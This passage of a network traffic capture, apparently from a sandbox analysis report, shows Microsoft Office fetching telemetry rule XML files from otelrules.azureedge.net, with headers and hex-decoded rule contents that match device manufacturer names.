2024-11-17 02:42:27 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:28 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:28 UTC	498	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:28 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: fc33b24f-c01e-00a2-3209-372327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024228Z-1866b5c5fbbbdsw4hC1DFWh1a000000000r0000000002t5e x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-17 02:42:28 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:28 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:28 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 9262989a-201e-0096-39af-36ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024228Z-1866b5c5fbbtpjhjhC1DFWr6tw00000003p0000000006953 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:28 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:28 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:28 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:28 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 664ceb09-201e-0085-50bf-3734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024228Z-1866b5c5fbbqmbqjhC1DFWwgvc000000035000000000hgxg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 02:42:28 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:28 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:28 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 6cd7b429-001e-0034-76a2-37dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024228Z-164f84587bffvwt9hC1DFW2ktw00000001ag00000000kq6f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:28 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:28 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:28 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 4ab292c7-f01e-005d-268a-3713ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024228Z-164f84587bf5rpzqhC1DFWmra800000003pg00000000db2d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:28 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:29 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:30 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:29 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: a09399d2-801e-0015-5284-37f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024229Z-164f84587bffvwt9hC1DFW2ktw00000001f0000000005un1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 02:42:30 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:29 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:30 UTC	498	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:30 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: adb9bc2d-c01e-007a-4c7f-38b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024230Z-1866b5c5fbbwlv6nhC1DFWw4bs000000020g00000000rnxa x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-17 02:42:30 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:29 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:30 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:29 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 7749a706-f01e-005d-3209-3713ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024229Z-16547b76f7f2b5qzhC1DFWeag400000001wg00000000a9pu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:30 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:29 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:30 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:30 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 7d8b8a82-001e-0066-1ad2-37561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024230Z-1866b5c5fbbz7hb5hC1DFWru7c00000003hg00000000fgp2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:30 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:30 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:30 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 764b3efa-d01e-007a-4391-36f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024230Z-164f84587bfjxw6fhC1DFWq94400000003sg00000000fq34 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:30 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:30 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:31 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:30 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 3faa7a2c-701e-001e-5709-37f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024230Z-16547b76f7fht2hfhC1DFWbngg000000043000000000a2xm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:31 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49760	94.245.104.56	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
